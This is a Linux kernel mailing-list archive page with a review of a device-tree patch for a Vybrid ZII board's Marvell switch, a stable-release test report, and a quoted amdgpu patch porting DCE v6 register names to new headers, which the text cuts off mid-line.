* Re: [PATCH 2/2] ARM: dts: vf610-zii-dev: Add .dts file for rev. C
From: Andrew Lunn @ 2016-11-14 17:10 UTC (permalink / raw)
To: Andrey Smirnov
Cc: linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r, Shawn Guo,
Rob Herring, Mark Rutland, Russell King, Sascha Hauer,
Stefan Agner, devicetree-u79uwXL29TY76Z2rM5mHXA,
linux-kernel-u79uwXL29TY76Z2rM5mHXA,
cphealy-Re5JQEeQqe8AvxtiuMwx3w
In-Reply-To: <1479141306-15141-2-git-send-email-andrew.smirnov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
> + mdio_mux_1: mdio@1 {
> + reg = <1>;
> + #address-cells = <1>;
> + #size-cells = <0>;
> +
> + switch0: switch0@0 {
> + compatible = "marvell,mv88e6390";
Hi Andrey
The driver for this is not in net-next yet. And when it is, it will
probably be called "marvell,mv88e6190", keeping to the pattern of the
lowest product ID which supports these features.
> + port@4 {
> + reg = <4>;
> + label = "lan4";
> + };
> +
> + port@9 {
> + reg = <9>;
> + label = "lan4";
> + phy-handle = <&switch0phy0>;
> + };
> +
You have two "lan4". I would also suggest leaving port 9 out for the
moment. It needs clause 45 MDIO to talk to the PHY, which we don't
have yet. Hence it cannot find it, and so give an error.
> +
> + switch0port10: port@10 {
> + reg = <10>;
> + label = "dsa";
> + phy-mode = "xgmii";
> + link = <&switch1port10>;
> + fixed-link {
> + speed = <10000>;
> + full-duplex;
> + };
This fixed-link node is wrong, and invalid. 10000 is not supported by
the fixed link driver, only 10, 100, and 1000. Also, it is not
required. The DSA driver should configure the link to the fastest
possible speed the port supports. You only need a fixed-link property
when you need to configure it at a lower speed. Rev B also gets this
wrong.
> + };
> + };
> +
> + mdio {
> + #address-cells = <1>;
> + #size-cells = <0>;
> + switch0phy0: switch0phy0@0 {
> + reg = <0>;
> + };
I think the strapping for the PHY is such that it is at address 9.
Also, it is on the external mdio bus, not the internal mdio bus. The
6390 family has two MDIO busses. I have patches to support this, which
will appear eventually.
Andrew
--
To unsubscribe from this list: send the line "unsubscribe devicetree" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
^ permalink raw reply
* [PATCH 2/2] ARM: dts: vf610-zii-dev: Add .dts file for rev. C
From: Andrew Lunn @ 2016-11-14 17:10 UTC (permalink / raw)
To: linux-arm-kernel
In-Reply-To: <1479141306-15141-2-git-send-email-andrew.smirnov@gmail.com>
> + mdio_mux_1: mdio at 1 {
> + reg = <1>;
> + #address-cells = <1>;
> + #size-cells = <0>;
> +
> + switch0: switch0 at 0 {
> + compatible = "marvell,mv88e6390";
Hi Andrey
The driver for this is not in net-next yet. And when it is, it will
probably be called "marvell,mv88e6190", keeping to the pattern of the
lowest product ID which supports these features.
> + port at 4 {
> + reg = <4>;
> + label = "lan4";
> + };
> +
> + port at 9 {
> + reg = <9>;
> + label = "lan4";
> + phy-handle = <&switch0phy0>;
> + };
> +
You have two "lan4". I would also suggest leaving port 9 out for the
moment. It needs clause 45 MDIO to talk to the PHY, which we don't
have yet. Hence it cannot find it, and so give an error.
> +
> + switch0port10: port at 10 {
> + reg = <10>;
> + label = "dsa";
> + phy-mode = "xgmii";
> + link = <&switch1port10>;
> + fixed-link {
> + speed = <10000>;
> + full-duplex;
> + };
This fixed-link node is wrong, and invalid. 10000 is not supported by
the fixed link driver, only 10, 100, and 1000. Also, it is not
required. The DSA driver should configure the link to the fastest
possible speed the port supports. You only need a fixed-link property
when you need to configure it at a lower speed. Rev B also gets this
wrong.
> + };
> + };
> +
> + mdio {
> + #address-cells = <1>;
> + #size-cells = <0>;
> + switch0phy0: switch0phy0 at 0 {
> + reg = <0>;
> + };
I think the strapping for the PHY is such that it is at address 9.
Also, it is on the external mdio bus, not the internal mdio bus. The
6390 family has two MDIO busses. I have patches to support this, which
will appear eventually.
Andrew
^ permalink raw reply
* Re: [PATCH 3.16 000/346] 3.16.39-rc1 review
From: Ben Hutchings @ 2016-11-14 17:10 UTC (permalink / raw)
To: Guenter Roeck, linux-kernel, stable; +Cc: torvalds, akpm
In-Reply-To: <9a9de2e3-1aa4-a08b-6193-5459a52307e8@roeck-us.net>
[-- Attachment #1: Type: text/plain, Size: 802 bytes --]
On Sun, 2016-11-13 at 21:49 -0800, Guenter Roeck wrote:
> On 11/13/2016 04:14 PM, Ben Hutchings wrote:
> > This is the start of the stable review cycle for the 3.16.39
> > release.
> > There are 346 patches in this series, which will be posted as
> > responses
> > to this one. If anyone has any issues with these being applied,
> > please
> > let me know.
> >
> > Responses should be made by Sat Nov 10 00:00:00 UTC 2016.
> > Anything received after that time might be too late.
> >
>
> Build results:
> total: 140 pass: 140 fail: 0
> Qemu test results:
> total: 99 pass: 99 fail: 0
>
> Details are available at http://kerneltests.org/builders.
Thanks for checking.
Ben.
--
Ben Hutchings
If more than one person is responsible for a bug, no one is at fault.
[-- Attachment #2: This is a digitally signed message part --]
[-- Type: application/pgp-signature, Size: 801 bytes --]
^ permalink raw reply
* RE: [PATCH] drm/amd/amdgpu: port of DCE v6 to new headers
From: Deucher, Alexander @ 2016-11-14 17:10 UTC (permalink / raw)
To: 'Tom St Denis',
amd-gfx-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org
Cc: StDenis, Tom
In-Reply-To: <20161114145103.10275-1-tom.stdenis-5C7GfCeVMHo@public.gmane.org>
> -----Original Message-----
> From: amd-gfx [mailto:amd-gfx-bounces@lists.freedesktop.org] On Behalf
> Of Tom St Denis
> Sent: Monday, November 14, 2016 9:51 AM
> To: amd-gfx@lists.freedesktop.org
> Cc: StDenis, Tom
> Subject: [PATCH] drm/amd/amdgpu: port of DCE v6 to new headers
>
> Port of SI DCE v6 over to new AMDGPU headers. Tested on a
> Tahiti with GNOME through various hot
> plugs/rotations/sizes/fullscreen/windowed and
> staging drm/xf86-video-amdgpu.
>
> Signed-off-by: Tom St Denis <tom.stdenis@amd.com>
> ---
> drivers/gpu/drm/amd/amdgpu/dce_v6_0.c | 441 +++++++++++-------
> ---
> drivers/gpu/drm/amd/amdgpu/si_enums.h | 319 +++++++++------
> .../gpu/drm/amd/include/asic_reg/dce/dce_6_0_d.h | 21 +
> 3 files changed, 447 insertions(+), 334 deletions(-)
>
> diff --git a/drivers/gpu/drm/amd/amdgpu/dce_v6_0.c
> b/drivers/gpu/drm/amd/amdgpu/dce_v6_0.c
> index b0fdc291bf43..960e8f64864d 100644
> --- a/drivers/gpu/drm/amd/amdgpu/dce_v6_0.c
> +++ b/drivers/gpu/drm/amd/amdgpu/dce_v6_0.c
> @@ -30,8 +30,19 @@
> #include "atombios_encoders.h"
> #include "amdgpu_pll.h"
> #include "amdgpu_connectors.h"
> -#include "si/si_reg.h"
> -#include "si/sid.h"
> +
> +#include "bif/bif_3_0_d.h"
> +#include "bif/bif_3_0_sh_mask.h"
> +#include "oss/oss_1_0_d.h"
> +#include "oss/oss_1_0_sh_mask.h"
> +#include "gca/gfx_6_0_d.h"
> +#include "gca/gfx_6_0_sh_mask.h"
> +#include "gmc/gmc_6_0_d.h"
> +#include "gmc/gmc_6_0_sh_mask.h"
> +#include "dce/dce_6_0_d.h"
> +#include "dce/dce_6_0_sh_mask.h"
> +#include "gca/gfx_7_2_enum.h"
> +#include "si_enums.h"
>
> static void dce_v6_0_set_display_funcs(struct amdgpu_device *adev);
> static void dce_v6_0_set_irq_funcs(struct amdgpu_device *adev);
> @@ -48,12 +59,12 @@ static const u32 crtc_offsets[6] =
>
> static const u32 hpd_offsets[] =
> {
> - DC_HPD1_INT_STATUS - DC_HPD1_INT_STATUS,
> - DC_HPD2_INT_STATUS - DC_HPD1_INT_STATUS,
> - DC_HPD3_INT_STATUS - DC_HPD1_INT_STATUS,
> - DC_HPD4_INT_STATUS - DC_HPD1_INT_STATUS,
> - DC_HPD5_INT_STATUS - DC_HPD1_INT_STATUS,
> - DC_HPD6_INT_STATUS - DC_HPD1_INT_STATUS,
> + mmDC_HPD1_INT_STATUS - mmDC_HPD1_INT_STATUS,
> + mmDC_HPD2_INT_STATUS - mmDC_HPD1_INT_STATUS,
> + mmDC_HPD3_INT_STATUS - mmDC_HPD1_INT_STATUS,
> + mmDC_HPD4_INT_STATUS - mmDC_HPD1_INT_STATUS,
> + mmDC_HPD5_INT_STATUS - mmDC_HPD1_INT_STATUS,
> + mmDC_HPD6_INT_STATUS - mmDC_HPD1_INT_STATUS,
> };
>
> static const uint32_t dig_offsets[] = {
> @@ -73,32 +84,32 @@ static const struct {
> uint32_t hpd;
>
> } interrupt_status_offsets[6] = { {
> - .reg = DISP_INTERRUPT_STATUS,
> + .reg = mmDISP_INTERRUPT_STATUS,
> .vblank =
> DISP_INTERRUPT_STATUS__LB_D1_VBLANK_INTERRUPT_MASK,
> .vline =
> DISP_INTERRUPT_STATUS__LB_D1_VLINE_INTERRUPT_MASK,
> .hpd = DISP_INTERRUPT_STATUS__DC_HPD1_INTERRUPT_MASK
> }, {
> - .reg = DISP_INTERRUPT_STATUS_CONTINUE,
> + .reg = mmDISP_INTERRUPT_STATUS_CONTINUE,
> .vblank =
> DISP_INTERRUPT_STATUS_CONTINUE__LB_D2_VBLANK_INTERRUPT_MASK
> ,
> .vline =
> DISP_INTERRUPT_STATUS_CONTINUE__LB_D2_VLINE_INTERRUPT_MASK,
> .hpd =
> DISP_INTERRUPT_STATUS_CONTINUE__DC_HPD2_INTERRUPT_MASK
> }, {
> - .reg = DISP_INTERRUPT_STATUS_CONTINUE2,
> + .reg = mmDISP_INTERRUPT_STATUS_CONTINUE2,
> .vblank =
> DISP_INTERRUPT_STATUS_CONTINUE2__LB_D3_VBLANK_INTERRUPT_MAS
> K,
> .vline =
> DISP_INTERRUPT_STATUS_CONTINUE2__LB_D3_VLINE_INTERRUPT_MASK,
> .hpd =
> DISP_INTERRUPT_STATUS_CONTINUE2__DC_HPD3_INTERRUPT_MASK
> }, {
> - .reg = DISP_INTERRUPT_STATUS_CONTINUE3,
> + .reg = mmDISP_INTERRUPT_STATUS_CONTINUE3,
> .vblank =
> DISP_INTERRUPT_STATUS_CONTINUE3__LB_D4_VBLANK_INTERRUPT_MAS
> K,
> .vline =
> DISP_INTERRUPT_STATUS_CONTINUE3__LB_D4_VLINE_INTERRUPT_MASK,
> .hpd =
> DISP_INTERRUPT_STATUS_CONTINUE3__DC_HPD4_INTERRUPT_MASK
> }, {
> - .reg = DISP_INTERRUPT_STATUS_CONTINUE4,
> + .reg = mmDISP_INTERRUPT_STATUS_CONTINUE4,
> .vblank =
> DISP_INTERRUPT_STATUS_CONTINUE4__LB_D5_VBLANK_INTERRUPT_MAS
> K,
> .vline =
> DISP_INTERRUPT_STATUS_CONTINUE4__LB_D5_VLINE_INTERRUPT_MASK,
> .hpd =
> DISP_INTERRUPT_STATUS_CONTINUE4__DC_HPD5_INTERRUPT_MASK
> }, {
> - .reg = DISP_INTERRUPT_STATUS_CONTINUE5,
> + .reg = mmDISP_INTERRUPT_STATUS_CONTINUE5,
> .vblank =
> DISP_INTERRUPT_STATUS_CONTINUE5__LB_D6_VBLANK_INTERRUPT_MAS
> K,
> .vline =
> DISP_INTERRUPT_STATUS_CONTINUE5__LB_D6_VLINE_INTERRUPT_MASK,
> .hpd =
> DISP_INTERRUPT_STATUS_CONTINUE5__DC_HPD6_INTERRUPT_MASK
> @@ -119,7 +130,7 @@ static void dce_v6_0_audio_endpt_wreg(struct
> amdgpu_device *adev,
>
> static bool dce_v6_0_is_in_vblank(struct amdgpu_device *adev, int crtc)
> {
> - if (RREG32(EVERGREEN_CRTC_STATUS + crtc_offsets[crtc]) &
> EVERGREEN_CRTC_V_BLANK)
> + if (RREG32(mmCRTC_STATUS + crtc_offsets[crtc]) &
> CRTC_STATUS__CRTC_V_BLANK_MASK)
> return true;
> else
> return false;
> @@ -129,8 +140,8 @@ static bool dce_v6_0_is_counter_moving(struct
> amdgpu_device *adev, int crtc)
> {
> u32 pos1, pos2;
>
> - pos1 = RREG32(EVERGREEN_CRTC_STATUS_POSITION +
> crtc_offsets[crtc]);
> - pos2 = RREG32(EVERGREEN_CRTC_STATUS_POSITION +
> crtc_offsets[crtc]);
> + pos1 = RREG32(mmCRTC_STATUS_POSITION + crtc_offsets[crtc]);
> + pos2 = RREG32(mmCRTC_STATUS_POSITION + crtc_offsets[crtc]);
>
> if (pos1 != pos2)
> return true;
> @@ -152,7 +163,7 @@ static void dce_v6_0_vblank_wait(struct
> amdgpu_device *adev, int crtc)
> if (crtc >= adev->mode_info.num_crtc)
> return;
>
> - if (!(RREG32(EVERGREEN_CRTC_CONTROL + crtc_offsets[crtc]) &
> EVERGREEN_CRTC_MASTER_EN))
> + if (!(RREG32(mmCRTC_CONTROL + crtc_offsets[crtc]) &
> CRTC_CONTROL__CRTC_MASTER_EN_MASK))
> return;
>
> /* depending on when we hit vblank, we may be close to active; if
> so,
> @@ -180,7 +191,7 @@ static u32 dce_v6_0_vblank_get_counter(struct
> amdgpu_device *adev, int crtc)
> if (crtc >= adev->mode_info.num_crtc)
> return 0;
> else
> - return RREG32(CRTC_STATUS_FRAME_COUNT +
> crtc_offsets[crtc]);
> + return RREG32(mmCRTC_STATUS_FRAME_COUNT +
> crtc_offsets[crtc]);
> }
>
> static void dce_v6_0_pageflip_interrupt_init(struct amdgpu_device *adev)
> @@ -220,16 +231,16 @@ static void dce_v6_0_page_flip(struct
> amdgpu_device *adev,
> struct amdgpu_crtc *amdgpu_crtc = adev->mode_info.crtcs[crtc_id];
>
> /* flip at hsync for async, default is vsync */
> - WREG32(EVERGREEN_GRPH_FLIP_CONTROL + amdgpu_crtc-
> >crtc_offset, async ?
> - EVERGREEN_GRPH_SURFACE_UPDATE_H_RETRACE_EN : 0);
> + WREG32(mmGRPH_FLIP_CONTROL + amdgpu_crtc->crtc_offset,
> async ?
> +
> GRPH_FLIP_CONTROL__GRPH_SURFACE_UPDATE_H_RETRACE_EN_MASK :
> 0);
> /* update the scanout addresses */
> - WREG32(EVERGREEN_GRPH_PRIMARY_SURFACE_ADDRESS_HIGH +
> amdgpu_crtc->crtc_offset,
> + WREG32(mmGRPH_PRIMARY_SURFACE_ADDRESS_HIGH +
> amdgpu_crtc->crtc_offset,
> upper_32_bits(crtc_base));
> - WREG32(EVERGREEN_GRPH_PRIMARY_SURFACE_ADDRESS +
> amdgpu_crtc->crtc_offset,
> + WREG32(mmGRPH_PRIMARY_SURFACE_ADDRESS + amdgpu_crtc-
> >crtc_offset,
> (u32)crtc_base);
>
> /* post the write */
> - RREG32(EVERGREEN_GRPH_PRIMARY_SURFACE_ADDRESS +
> amdgpu_crtc->crtc_offset);
> + RREG32(mmGRPH_PRIMARY_SURFACE_ADDRESS + amdgpu_crtc-
> >crtc_offset);
> }
>
> static int dce_v6_0_crtc_get_scanoutpos(struct amdgpu_device *adev, int
> crtc,
> @@ -237,8 +248,8 @@ static int dce_v6_0_crtc_get_scanoutpos(struct
> amdgpu_device *adev, int crtc,
> {
> if ((crtc < 0) || (crtc >= adev->mode_info.num_crtc))
> return -EINVAL;
> - *vbl = RREG32(EVERGREEN_CRTC_V_BLANK_START_END +
> crtc_offsets[crtc]);
> - *position = RREG32(EVERGREEN_CRTC_STATUS_POSITION +
> crtc_offsets[crtc]);
> + *vbl = RREG32(mmCRTC_V_BLANK_START_END + crtc_offsets[crtc]);
> + *position = RREG32(mmCRTC_STATUS_POSITION +
> crtc_offsets[crtc]);
>
> return 0;
>
> @@ -261,7 +272,7 @@ static bool dce_v6_0_hpd_sense(struct
> amdgpu_device *adev,
> if (hpd >= adev->mode_info.num_hpd)
> return connected;
>
> - if (RREG32(DC_HPD1_INT_STATUS + hpd_offsets[hpd]) &
> DC_HPDx_SENSE)
> + if (RREG32(mmDC_HPD1_INT_STATUS + hpd_offsets[hpd]) &
> DC_HPD1_INT_STATUS__DC_HPD1_SENSE_MASK)
> connected = true;
>
> return connected;
> @@ -284,12 +295,12 @@ static void dce_v6_0_hpd_set_polarity(struct
> amdgpu_device *adev,
> if (hpd >= adev->mode_info.num_hpd)
> return;
>
> - tmp = RREG32(DC_HPD1_INT_CONTROL + hpd_offsets[hpd]);
> + tmp = RREG32(mmDC_HPD1_INT_CONTROL + hpd_offsets[hpd]);
> if (connected)
> - tmp &= ~DC_HPDx_INT_POLARITY;
> + tmp &=
> ~DC_HPD1_INT_CONTROL__DC_HPD1_INT_POLARITY_MASK;
> else
> - tmp |= DC_HPDx_INT_POLARITY;
> - WREG32(DC_HPD1_INT_CONTROL + hpd_offsets[hpd], tmp);
> + tmp |=
> DC_HPD1_INT_CONTROL__DC_HPD1_INT_POLARITY_MASK;
> + WREG32(mmDC_HPD1_INT_CONTROL + hpd_offsets[hpd], tmp);
> }
>
> /**
> @@ -312,9 +323,9 @@ static void dce_v6_0_hpd_init(struct amdgpu_device
> *adev)
> if (amdgpu_connector->hpd.hpd >= adev-
> >mode_info.num_hpd)
> continue;
>
> - tmp = RREG32(DC_HPD1_CONTROL +
> hpd_offsets[amdgpu_connector->hpd.hpd]);
> - tmp |= DC_HPDx_EN;
> - WREG32(DC_HPD1_CONTROL +
> hpd_offsets[amdgpu_connector->hpd.hpd], tmp);
> + tmp = RREG32(mmDC_HPD1_CONTROL +
> hpd_offsets[amdgpu_connector->hpd.hpd]);
> + tmp |= DC_HPD1_CONTROL__DC_HPD1_EN_MASK;
> + WREG32(mmDC_HPD1_CONTROL +
> hpd_offsets[amdgpu_connector->hpd.hpd], tmp);
>
> if (connector->connector_type ==
> DRM_MODE_CONNECTOR_eDP ||
> connector->connector_type ==
> DRM_MODE_CONNECTOR_LVDS) {
> @@ -323,9 +334,9 @@ static void dce_v6_0_hpd_init(struct amdgpu_device
> *adev)
> *
> https://bugzilla.redhat.com/show_bug.cgi?id=726143
> * also avoid interrupt storms during dpms.
> */
> - tmp = RREG32(DC_HPD1_INT_CONTROL +
> hpd_offsets[amdgpu_connector->hpd.hpd]);
> - tmp &= ~DC_HPDx_INT_EN;
> - WREG32(DC_HPD1_INT_CONTROL +
> hpd_offsets[amdgpu_connector->hpd.hpd], tmp);
> + tmp = RREG32(mmDC_HPD1_INT_CONTROL +
> hpd_offsets[amdgpu_connector->hpd.hpd]);
> + tmp &=
> ~DC_HPD1_INT_CONTROL__DC_HPD1_INT_EN_MASK;
> + WREG32(mmDC_HPD1_INT_CONTROL +
> hpd_offsets[amdgpu_connector->hpd.hpd], tmp);
> continue;
> }
>
> @@ -355,9 +366,9 @@ static void dce_v6_0_hpd_fini(struct amdgpu_device
> *adev)
> if (amdgpu_connector->hpd.hpd >= adev-
> >mode_info.num_hpd)
> continue;
>
> - tmp = RREG32(DC_HPD1_CONTROL +
> hpd_offsets[amdgpu_connector->hpd.hpd]);
> - tmp &= ~DC_HPDx_EN;
> - WREG32(DC_HPD1_CONTROL +
> hpd_offsets[amdgpu_connector->hpd.hpd], 0);
> + tmp = RREG32(mmDC_HPD1_CONTROL +
> hpd_offsets[amdgpu_connector->hpd.hpd]);
> + tmp &= ~DC_HPD1_CONTROL__DC_HPD1_EN_MASK;
> + WREG32(mmDC_HPD1_CONTROL +
> hpd_offsets[amdgpu_connector->hpd.hpd], 0);
>
> amdgpu_irq_put(adev, &adev->hpd_irq,
> amdgpu_connector->hpd.hpd);
> }
> @@ -365,7 +376,7 @@ static void dce_v6_0_hpd_fini(struct amdgpu_device
> *adev)
>
> static u32 dce_v6_0_hpd_get_gpio_reg(struct amdgpu_device *adev)
> {
> - return SI_DC_GPIO_HPD_A;
> + return mmDC_GPIO_HPD_A;
> }
>
> static bool dce_v6_0_is_display_hung(struct amdgpu_device *adev)
> @@ -380,7 +391,7 @@ static u32 evergreen_get_vblank_counter(struct
> amdgpu_device* adev, int crtc)
> if (crtc >= adev->mode_info.num_crtc)
> return 0;
> else
> - return RREG32(CRTC_STATUS_FRAME_COUNT +
> crtc_offsets[crtc]);
> + return RREG32(mmCRTC_STATUS_FRAME_COUNT +
> crtc_offsets[crtc]);
> }
>
> static void dce_v6_0_stop_mc_access(struct amdgpu_device *adev,
> @@ -389,25 +400,25 @@ static void dce_v6_0_stop_mc_access(struct
> amdgpu_device *adev,
> u32 crtc_enabled, tmp, frame_count;
> int i, j;
>
> - save->vga_render_control = RREG32(VGA_RENDER_CONTROL);
> - save->vga_hdp_control = RREG32(VGA_HDP_CONTROL);
> + save->vga_render_control = RREG32(mmVGA_RENDER_CONTROL);
> + save->vga_hdp_control = RREG32(mmVGA_HDP_CONTROL);
>
> /* disable VGA render */
> - WREG32(VGA_RENDER_CONTROL, 0);
> + WREG32(mmVGA_RENDER_CONTROL, 0);
>
> /* blank the display controllers */
> for (i = 0; i < adev->mode_info.num_crtc; i++) {
> - crtc_enabled = RREG32(EVERGREEN_CRTC_CONTROL +
> crtc_offsets[i]) & EVERGREEN_CRTC_MASTER_EN;
> + crtc_enabled = RREG32(mmCRTC_CONTROL + crtc_offsets[i])
> & CRTC_CONTROL__CRTC_MASTER_EN_MASK;
> if (crtc_enabled) {
> save->crtc_enabled[i] = true;
> - tmp = RREG32(EVERGREEN_CRTC_BLANK_CONTROL
> + crtc_offsets[i]);
> + tmp = RREG32(mmCRTC_BLANK_CONTROL +
> crtc_offsets[i]);
>
> - if (!(tmp & EVERGREEN_CRTC_BLANK_DATA_EN)) {
> + if (!(tmp &
> CRTC_BLANK_CONTROL__CRTC_BLANK_DATA_EN_MASK)) {
> dce_v6_0_vblank_wait(adev, i);
> - WREG32(EVERGREEN_CRTC_UPDATE_LOCK +
> crtc_offsets[i], 1);
> - tmp |= EVERGREEN_CRTC_BLANK_DATA_EN;
> -
> WREG32(EVERGREEN_CRTC_BLANK_CONTROL + crtc_offsets[i],
> tmp);
> - WREG32(EVERGREEN_CRTC_UPDATE_LOCK +
> crtc_offsets[i], 0);
> + WREG32(mmCRTC_UPDATE_LOCK +
> crtc_offsets[i], 1);
> + tmp |=
> CRTC_BLANK_CONTROL__CRTC_BLANK_DATA_EN_MASK;
> + WREG32(mmCRTC_BLANK_CONTROL +
> crtc_offsets[i], tmp);
> + WREG32(mmCRTC_UPDATE_LOCK +
> crtc_offsets[i], 0);
> }
> /* wait for the next frame */
> frame_count =
> evergreen_get_vblank_counter(adev, i);
> @@ -418,11 +429,11 @@ static void dce_v6_0_stop_mc_access(struct
> amdgpu_device *adev,
> }
>
> /* XXX this is a hack to avoid strange behavior with
> EFI on certain systems */
> - WREG32(EVERGREEN_CRTC_UPDATE_LOCK +
> crtc_offsets[i], 1);
> - tmp = RREG32(EVERGREEN_CRTC_CONTROL +
> crtc_offsets[i]);
> - tmp &= ~EVERGREEN_CRTC_MASTER_EN;
> - WREG32(EVERGREEN_CRTC_CONTROL +
> crtc_offsets[i], tmp);
> - WREG32(EVERGREEN_CRTC_UPDATE_LOCK +
> crtc_offsets[i], 0);
> + WREG32(mmCRTC_UPDATE_LOCK + crtc_offsets[i],
> 1);
> + tmp = RREG32(mmCRTC_CONTROL + crtc_offsets[i]);
> + tmp &=
> ~CRTC_CONTROL__CRTC_MASTER_EN_MASK;
> + WREG32(mmCRTC_CONTROL + crtc_offsets[i], tmp);
> + WREG32(mmCRTC_UPDATE_LOCK + crtc_offsets[i],
> 0);
> save->crtc_enabled[i] = false;
> /* ***** */
> } else {
> @@ -439,41 +450,41 @@ static void dce_v6_0_resume_mc_access(struct
> amdgpu_device *adev,
>
> /* update crtc base addresses */
> for (i = 0; i < adev->mode_info.num_crtc; i++) {
> -
> WREG32(EVERGREEN_GRPH_PRIMARY_SURFACE_ADDRESS_HIGH +
> crtc_offsets[i],
> + WREG32(mmGRPH_PRIMARY_SURFACE_ADDRESS_HIGH +
> crtc_offsets[i],
> upper_32_bits(adev->mc.vram_start));
> -
> WREG32(EVERGREEN_GRPH_SECONDARY_SURFACE_ADDRESS_HIG
> H + crtc_offsets[i],
> + WREG32(mmGRPH_SECONDARY_SURFACE_ADDRESS_HIGH
> + crtc_offsets[i],
> upper_32_bits(adev->mc.vram_start));
> - WREG32(EVERGREEN_GRPH_PRIMARY_SURFACE_ADDRESS
> + crtc_offsets[i],
> + WREG32(mmGRPH_PRIMARY_SURFACE_ADDRESS +
> crtc_offsets[i],
> (u32)adev->mc.vram_start);
> -
> WREG32(EVERGREEN_GRPH_SECONDARY_SURFACE_ADDRESS +
> crtc_offsets[i],
> + WREG32(mmGRPH_SECONDARY_SURFACE_ADDRESS +
> crtc_offsets[i],
> (u32)adev->mc.vram_start);
> }
>
> - WREG32(EVERGREEN_VGA_MEMORY_BASE_ADDRESS_HIGH,
> upper_32_bits(adev->mc.vram_start));
> - WREG32(EVERGREEN_VGA_MEMORY_BASE_ADDRESS, (u32)adev-
> >mc.vram_start);
> + WREG32(mmEVERGREEN_VGA_MEMORY_BASE_ADDRESS_HIGH,
> upper_32_bits(adev->mc.vram_start));
> + WREG32(mmEVERGREEN_VGA_MEMORY_BASE_ADDRESS,
> (u32)adev->mc.vram_start);
>
> /* unlock regs and wait for update */
> for (i = 0; i < adev->mode_info.num_crtc; i++) {
> if (save->crtc_enabled[i]) {
> - tmp =
> RREG32(EVERGREEN_MASTER_UPDATE_MODE + crtc_offsets[i]);
> + tmp = RREG32(mmMASTER_UPDATE_MODE +
> crtc_offsets[i]);
> if ((tmp & 0x7) != 3) {
> tmp &= ~0x7;
> tmp |= 0x3;
> -
> WREG32(EVERGREEN_MASTER_UPDATE_MODE + crtc_offsets[i],
> tmp);
> + WREG32(mmMASTER_UPDATE_MODE +
> crtc_offsets[i], tmp);
> }
> - tmp = RREG32(EVERGREEN_GRPH_UPDATE +
> crtc_offsets[i]);
> - if (tmp & EVERGREEN_GRPH_UPDATE_LOCK) {
> - tmp &= ~EVERGREEN_GRPH_UPDATE_LOCK;
> - WREG32(EVERGREEN_GRPH_UPDATE +
> crtc_offsets[i], tmp);
> + tmp = RREG32(mmGRPH_UPDATE + crtc_offsets[i]);
> + if (tmp &
> GRPH_UPDATE__GRPH_UPDATE_LOCK_MASK) {
> + tmp &=
> ~GRPH_UPDATE__GRPH_UPDATE_LOCK_MASK;
> + WREG32(mmGRPH_UPDATE + crtc_offsets[i],
> tmp);
> }
> - tmp = RREG32(EVERGREEN_MASTER_UPDATE_LOCK
> + crtc_offsets[i]);
> + tmp = RREG32(mmMASTER_UPDATE_LOCK +
> crtc_offsets[i]);
> if (tmp & 1) {
> tmp &= ~1;
> -
> WREG32(EVERGREEN_MASTER_UPDATE_LOCK + crtc_offsets[i],
> tmp);
> + WREG32(mmMASTER_UPDATE_LOCK +
> crtc_offsets[i], tmp);
> }
> for (j = 0; j < adev->usec_timeout; j++) {
> - tmp = RREG32(EVERGREEN_GRPH_UPDATE +
> crtc_offsets[i]);
> - if ((tmp &
> EVERGREEN_GRPH_SURFACE_UPDATE_PENDING) == 0)
> + tmp = RREG32(mmGRPH_UPDATE +
> crtc_offsets[i]);
> + if ((tmp &
> GRPH_UPDATE__GRPH_SURFACE_UPDATE_PENDING_MASK) == 0)
> break;
> udelay(1);
> }
> @@ -481,9 +492,9 @@ static void dce_v6_0_resume_mc_access(struct
> amdgpu_device *adev,
> }
>
> /* Unlock vga access */
> - WREG32(VGA_HDP_CONTROL, save->vga_hdp_control);
> + WREG32(mmVGA_HDP_CONTROL, save->vga_hdp_control);
> mdelay(1);
> - WREG32(VGA_RENDER_CONTROL, save->vga_render_control);
> + WREG32(mmVGA_RENDER_CONTROL, save->vga_render_control);
>
> }
>
> @@ -491,8 +502,8 @@ static void dce_v6_0_set_vga_render_state(struct
> amdgpu_device *adev,
> bool render)
> {
> if (!render)
> - WREG32(R_000300_VGA_RENDER_CONTROL,
> - RREG32(R_000300_VGA_RENDER_CONTROL) &
> C_000300_VGA_VSTATUS_CNTL);
> + WREG32(mmR_000300_VGA_RENDER_CONTROL,
> + RREG32(mmR_000300_VGA_RENDER_CONTROL) &
> C_000300_VGA_VSTATUS_CNTL);
>
> }
>
> @@ -526,14 +537,14 @@ void dce_v6_0_disable_dce(struct amdgpu_device
> *adev)
>
> /*Disable crtc*/
> for (i = 0; i < dce_v6_0_get_num_crtc(adev); i++) {
> - crtc_enabled = RREG32(EVERGREEN_CRTC_CONTROL
> + crtc_offsets[i]) &
> - EVERGREEN_CRTC_MASTER_EN;
> + crtc_enabled = RREG32(mmCRTC_CONTROL +
> crtc_offsets[i]) &
> + CRTC_CONTROL__CRTC_MASTER_EN_MASK;
> if (crtc_enabled) {
> - WREG32(EVERGREEN_CRTC_UPDATE_LOCK +
> crtc_offsets[i], 1);
> - tmp = RREG32(EVERGREEN_CRTC_CONTROL
> + crtc_offsets[i]);
> - tmp &= ~EVERGREEN_CRTC_MASTER_EN;
> - WREG32(EVERGREEN_CRTC_CONTROL +
> crtc_offsets[i], tmp);
> - WREG32(EVERGREEN_CRTC_UPDATE_LOCK +
> crtc_offsets[i], 0);
> + WREG32(mmCRTC_UPDATE_LOCK +
> crtc_offsets[i], 1);
> + tmp = RREG32(mmCRTC_CONTROL +
> crtc_offsets[i]);
> + tmp &=
> ~CRTC_CONTROL__CRTC_MASTER_EN_MASK;
> + WREG32(mmCRTC_CONTROL +
> crtc_offsets[i], tmp);
> + WREG32(mmCRTC_UPDATE_LOCK +
> crtc_offsets[i], 0);
> }
> }
> }
> @@ -569,19 +580,23 @@ static void dce_v6_0_program_fmt(struct
> drm_encoder *encoder)
> case 6:
> if (dither == AMDGPU_FMT_DITHER_ENABLE)
> /* XXX sort out optimal dither settings */
> - tmp |= (FMT_FRAME_RANDOM_ENABLE |
> FMT_HIGHPASS_RANDOM_ENABLE |
> - FMT_SPATIAL_DITHER_EN);
> + tmp |=
